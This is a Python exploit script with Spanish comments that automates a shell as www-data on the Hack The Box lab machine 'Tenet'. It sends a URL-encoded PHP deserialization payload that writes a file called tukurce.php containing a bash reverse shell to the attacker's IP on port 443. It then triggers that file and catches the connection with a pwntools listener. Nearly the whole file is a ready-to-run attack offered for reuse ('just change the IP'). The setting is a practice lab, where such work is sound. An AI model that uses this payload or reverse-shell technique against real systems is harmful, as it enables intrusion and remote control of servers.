auto_shell_tenet.py

#!/usr/bin/python3

#Script que automatiza la intrusion como www-data en la maquina Tenet de HTB
#Solo teneis que cambiar la IP

import requests
import sys
import time
import threading
from pwn import *


#Variables
IP = "10.10.16.198" # <= Cambiar IP
url_main = "http://10.10.10.223/sator.php/?arepo="
url_shell = "http://10.10.10.223/tukurce.php"
payload = "O%3A14%3A%22DatabaseExport%22%3A2%3A%7Bs%3A9%3A%22user_file%22%3Bs%3A11%3A%22tukurce.php%22%3Bs%3A4%3A%22data%22%3Bs%3A73%3A%22%3C%3Fphp+exec%28%22%2Fbin%2Fbash+-c+%27bash+-i+%3E+%2Fdev%2Ftcp%2F"
payload2 = "%2F443+0%3E%261%27%22%29%3B+%3F%3E%22%3B%7D"
lport = 443
#Funciones
def obtainShell():

    try:
        s = requests.Session()
        r = s.get(url_main+payload+IP+payload2)
        p1 = log.progress("\n[*]Ejecutando PHP Deserialization\n")
        time.sleep(2)
        p1.status("\nEnviando el payload malicioso...\n")
        r = s.get(url_shell)

    except Exception as e:
        print(e)

if __name__ == '__main__':
    try:
        threading.Thread(target=obtainShell).start()
    except Exception as e:
        log.error(str(e))

    shell = listen(lport, timeout=5).wait_for_connection()

    if shell.sock is None:
        log.failure("No se ha podido entrablar conexion")
        sys.exit()
    else:
        log.success("\n ✔️  Se ha obtenido una shell ✔️ \n")
        time.sleep(1)
        log.info("\nAcceso como www-data\n")
        time.sleep(1)

    shell.interactive()